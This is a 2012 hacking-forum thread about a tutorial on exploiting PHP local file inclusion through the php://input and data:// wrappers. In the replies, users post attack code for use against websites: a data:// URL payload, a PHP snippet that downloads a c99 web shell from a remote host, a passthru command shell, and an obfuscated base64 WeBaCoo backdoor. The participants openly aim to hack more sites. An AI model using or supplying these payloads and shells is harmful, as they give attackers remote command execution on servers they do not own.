

Forum:[Hack Forums](#)

Thread: [\[TuT\] Exploiting LFI with PHP://INPUT filter \[TuT\]](#)

Hooded Robin - January 10, 2012, 8:29 pm

I have already prepared a rather in depth written tutorial on this fairly undocumented attack vector and how this method can be used to attack Windows machines. If you are interested in the full details on how to perform manually you can check it out on my blog, available here:

<http://kaoticcreations.blogspot.com/2012/01/burp-suite-part-vi-more-fun-exploiting.html>

That being said, I wanted to find an easier way and I found that this method is incredibly easy to do with the assistance of CURL. Here is a quick video I made which more or less mirrors the written tutorial just shortened up with CURL. I also decided to show it in action against a Unix target since the written tutorial covers how to do this against a Windows machine.

I hope you enjoy the show:

[Video: <http://www.youtube.com/watch?v=oKXH2wnDEnU>]

Please let me know what you think and if you have any questions on anything please don't hesitate to ask.

Greetz to Zer0Lulz crew!

Enjoy ?

Hivem1nd - January 10, 2012, 8:33 pm

Thank you! I've been trying to figure out on my own how to apply LFI exploits to Windows servers so this should be really helpful.

Hooded Robin - January 10, 2012, 8:37 pm

The written tutorial I did should give you more than enough to tackle Windows LFI, and the log file method which I previously covered can also be used against Windows, but this is the best and easiest method I have found yet for exploiting Windows :)

Zher0 - January 10, 2012, 8:50 pm

Thank you very helpful, and I like the first song ;)

th3.g4m3_0v3r - January 10, 2012, 8:55 pm

Bro please Upload Hd Version Of This Video

To short...

Zher0 - January 10, 2012, 8:59 pm

(Jan 10, 2012 09:55 PM)th3.g4m3_0v3r Wrote: [\[CITE\]](#) Bro please Upload Hd Version Of This Video

To short...

You can choose 1080p... how much more HD can you get on youtube 0.0

PlickaMaterna - January 11, 2012, 4:11 am

I am not sure if HF people deserve to know about wrappers.
They will just copy pasta from your tut...

Hooded Robin - January 11, 2012, 7:46 am

Hehe, I would imagine this is still over the heads with a lot of folks around here, but I wanted to complete my LFI series so here it is. The written tut goes into much more detail on why everything works and is written for a novice to be able to understand. I had not seen this documented anywhere else, so curious if others were already aware of this method or not. Anyone else use this before? Anyone having any problems implementing my methods or approach? Looking for real feedback people...

-DownFall - January 11, 2012, 8:29 am

Finally got around to checking it out, great thread once again. Your threads don't get much feedback, but the ones who actually take the time to watch them appreciate it. Keep up the good work, you're a fucking genius lol.

PS: Thanks for the PM!

LulzSecFTW - January 11, 2012, 1:36 pm

Thanks, great tut, I knew about the wrappers... but I never for one second thought about using them to hack via LFI. ^_^

I do have one problem though:

PHP Code

```
<?php
```

Warning: include(PHP Code

//input) [function.include]: failed to open stream: operation failed in /xxx/test.php on line 2

I get it to work with fopen / file_get_contents just fine though :D thanks again,

Hooded Robin - January 11, 2012, 1:39 pm

I dont think many people do, hence all the LFI tuts by me lately. I dont think I will make any more since i have kind of beat LFI to death but you can also use data:// wrapper as well to execute commands. Glad you enjoyed and found it informative!

Please keep the comments coming...

Prominent - January 11, 2012, 1:59 pm

Impressed, detailed, you know your shit very well. Well done.

Spoiler ([Click to View](#))

You made me jizz involuntary

Hooded Robin - January 11, 2012, 2:10 pm

Thanks Prominent, much apprecaited from you!

PS - I love deadmau5 and your sig!

LulzSecFTW - January 11, 2012, 2:34 pm

@Hooded Robin, data wrapper works perfectly! I noticed php://input doesn't get blocked by security but data:// sometimes does.

Even still... does anyone know why I keep getting a php error when trying to POSTDATA a php code using php://input in a LFI (which uses includes()) ?

^ using wrappers unlocks a load more websites to be hacked. :D

Hooded Robin - January 11, 2012, 2:53 pm

It all depends on what streams they allow, but people commonly forget to secure the php:// and data:// wrappers which are just as viable as http:// if abused under the right conditions :)

What error are you getting? It might be disabled... Maybe hit me up via PM and share link if you dont mind and we can try to see if we can find a method to make it work...

BeggFoMercy - January 11, 2012, 3:22 pm

Nice nice nice nice btw i have the same mozilla skin ;)

LulzSecFTW - January 11, 2012, 3:48 pm

Robin, The server I've been testing it on is my own. I've added only the basic firewalls etc. You were right, I had php:// disabled. Weird how it's disabled php:// but not data:// ^_^

--

For anyone interested in the data wrapper here is a demo;

<http://exampe.com/index.php?page=data://plain/text;base64,aGVsbG8=>
and replace the aGVsbG8= with a base64 encoded php script (including the <? and ?>)

remember... if wget/system is disabled use this;

```
<?$fh = fopen("shell.php", 'w');fwrite($fh,
file_get_contents("http://yourwebsite.com/c99/c99.txt"));fclose($fh);?>
```

Hooded Robin - January 11, 2012, 4:14 pm

Yes, i guess next i should find time to look into what versions or scenarios cause that to enable or disable. Thanks for the discussions and the fopen() syntax. I had been working on a similar process but for some reason was over complicating things (it would create the file but not write my content, this is a way better alternative by just getting the code from another site

this is also another alternative you can use and then cal the file and have it executer commands with any GET request thereafter (zero.php?lulz=commandhere)

Code <?php \$c=fopen('/tmp/zero','w');fwrite(\$c,<?php passthru(\$_GET["lulz"]);?>);?>

This is the one I was working ont hat fails in all my testing (creates blank page but no code written):

Code <?php \$myFile = "detours.php"; \$fh = fopen(\$myFile, 'w') or die("Get Bent"); \$stringData = '<?php \$b=strrev("edoced_4"."6esab");eval(\$b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y I 9 z d G F y d C g p O 3 N 5 c 3 R I b S h i Y X N I N j R f Z G V j b 2 R I K C R f Q 0 9 P S 0 I F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y I 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = ")); ?>'; fclose(\$fh); ?>Its for creating a webacoo injected shell page, any php injection will suffice for the \$stringData but you get my drift. anyone help me fix?

VipVince - January 11, 2012, 5:23 pm

Loving your work HR and thanks for the pm.

I think you should get the MOTM award.

cheatson - January 11, 2012, 6:40 pm

Really great tutorial mate, you have me hooked on burp too so thanks for that. I notice in this you are using the free version, do you also have the pro ver, and if so, is it worth the money in your opinion? -_-!

Hooded Robin - January 11, 2012, 8:32 pm

I am too poor for the Pro version - 300 for a 1yr license seems expensive to me, maybe if I had some paid gigs it wouldn't be so bad. I'm just trying to squeeze the most out of the free version. If you come up with any new tricks or additions to the file pack I came up with please send them my way...

cheatson - January 11, 2012, 9:51 pm

(Jan 11, 2012 09:32 PM)Hooded Robin Wrote: [\[CITE\]](#) I am too poor for the Pro version - 300 for a 1yr license seems expensive to me, maybe if I had some paid gigs it wouldn't be so bad. I'm just trying to squeeze the most out of the free version. If you come up with any new tricks or additions to the file pack I came up with please send them my way...

Yeah it is quite steep actually, didn't realise it was that much T_T. O well, more and more reasons to motivate myself to not be a poor bum appear everyday!

Nexus - June 23, 2013, 2:40 pm

I love you tutorials Hooded Robin
very nice :)